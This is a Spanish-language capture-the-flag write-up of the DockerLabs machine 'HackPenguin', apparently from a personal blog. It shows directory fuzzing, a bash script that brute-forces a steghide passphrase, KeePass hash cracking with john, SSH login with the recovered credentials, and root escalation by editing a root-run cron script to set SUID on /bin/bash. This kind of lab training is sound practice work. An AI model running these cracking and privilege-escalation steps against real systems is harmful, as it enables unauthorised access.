HackPenguin - DockerLab

HackPenguin - DockerLab

Resolución de la maquina HackPenguin de DockerLab

Hola, mi estimado! ¿Le puedo ofrecer un CTF, para llevar?

Illinois Hoops Recruiting Thread | Page 17

Muy bien, pero antes gracias al creador del CTF "El pingüino de Mario" y a la comunidad de DockerLabs.es por hacer esto posible.

SpongeBob eating cereal | Spongebob gif, Funny spongebob memes, Spongebob  funny

Descripción de la maquina.

Sistema OperativoLinux 🐧
DificultadMedio
Lanzamiento09/04/2024
CreadorEl pingüino de Mario

Enumeración

Empezamos con un escaneo a todos los puertos y servicios de la maquina con nmap, si desea saber mas detalles sobre cada uno de los parámetros, le dejo esta increíble web (explianshell).

Vamos a explorar el servicio web.

Tenemos una pagina por defecto del servicio apache2, vamos a realizar un fuzzing en busca de directorios y archivos.

gobuster dir -u http://http://172.17.0.2/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,js,css,txt -t 100

Y en efecto tenemos el archivo penguin.html

Bueno, al parecer no tenemos nada mas que esta imagen... Vamos a examinar los metadatos con exiftool y mediainfo

Pero, no obtuve nada interesante... Aquí es donde nos toca aprender una nueva Mouskeherramienta misteriosa.

Esteganografía

Para obtener mas información de esta técnica, visite este vídeo del mismo creador de la maquina.

La esteganografía es la práctica de ocultar información dentro de otro mensaje u objeto físico para evitar su detección. Se puede usar para ocultar casi cualquier tipo de contenido digital, ya sea texto, imágenes, vídeos o audios.

Para continuar con esto podemos hacer uso de la herramienta steghide, la cual nos permite saber si se oculto algo y si es así, lo extrae. También se puede usar steghide para ocultar información.

Así que vamos a ver si la imagen contiene algo.

steghide --extract -sf penguin.jpg

Peroo, normalmente al ocultar algo con steghide este nos pedirá una contraseña, para después extraer dicha información, por ejemplo al intentar extraer la información de penguin.jpg nos pedirá una contraseña:

Así que... Tendremos que realizar fuerza bruta para descubrir la contraseña. Puede montarse un script, o tomar uno prestado, pero lo mejor es que lo hagas tu mismo.

Pinguin Computer GIF - Pinguin Computer - Discover & Share GIFs

Fuerza Bruta

Entonces, aquí lo tiene un script:

#!/bin/bash

#variables globales
dicc_path="/usr/share/wordlists/rockyou.txt"
file="/ruta/penguin.jpg"


#verificar si existe el diccionario
if ! test -f $file; then
    echo "El archivo a examinar no existe."
    exit 1
fi

#verificar si existe el diccionario
if ! test -f $dicc_path; then
    echo "El diccionario no existe."
    exit 1
fi

#Itera cada posible password del diccionario
for password in $(cat "$dicc_path"); do

    #Probamos el password y guardamos el codigo de estado.
    echo "Probando con el password: $password"
    steghide --extract -sf $file -p "$password" 2>/dev/null
    exit_code=$?

    #Si el codigo de estado es exitoso, indica que se encontro el password
    if [[ $exit_code -eq 0 ]]; then
        clear
        echo "Password encontrado: $password"
        exit 0
    fi
done

Solo quedaría ejecutarlo y listo.

Perfecto, hemos descubierto la contraseña, por lo tanto hemos extraído un archivo, lo cual es...

Una db de KeePass, vamos a aplicar fuerza bruta contra este archivo con john.

Pero, primero extraemos el hash.

keepass2john penguin.kdbx > hash

Y ahora si, realizamos la fuerza bruta.

john --wordlist=/usr/share/wordlists/rockyou.txt hash

Excelente, ¿no?

Mmm hmm GIF - Conseguir el mejor gif en GIFER

Lo abrimos y tenemos lo siguiente...

apt install keepass2
keepass2 penguin.kdbx

Unas credenciales, que tal vez, funcionen para el servicio SSH.

Pero... No funcionaron, así que me dispuse a usar esa contraseña con algunos nombres que se mencionaban en el KeePass, como por ejemplo pingu y penguin

Hasta que me logre conectar con el usuario penguin

Escalada de privilegios

Explorando el sistema me tope con este script.sh, que posiblemente el usuario root este ejecutando periódicamente.

¿Como sabes si el usuario root lo esta ejecutando periódicamente? Observando los procesos con pspy.

wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy32s
chmod +x pspy32s
./pspy32s

En efecto lo hace, vamos a modificar lo, para que el usuario root establezca permisos SUID al binario /bin/bash.

Y aquí lo tenemos, solo nos toca esperar...

Solo falta un /bin/bash -p

Y ahí lo tenemos, gracias nuevamente, señor root.

Chapeau Sorciere GIF - Chapeau Sorciere Chauve Souris - Discover & Share  GIFs

Hasta luego querido lector!!

mr-bean-waiting.gif | Trouble Free Pool


Referencias

  1. albertomarcostic - DockerLabs-WriteUps/Máquina HackPenguin

Did you find this article valuable?

Support BlackPist0l's Blog by becoming a sponsor. Any amount is appreciated!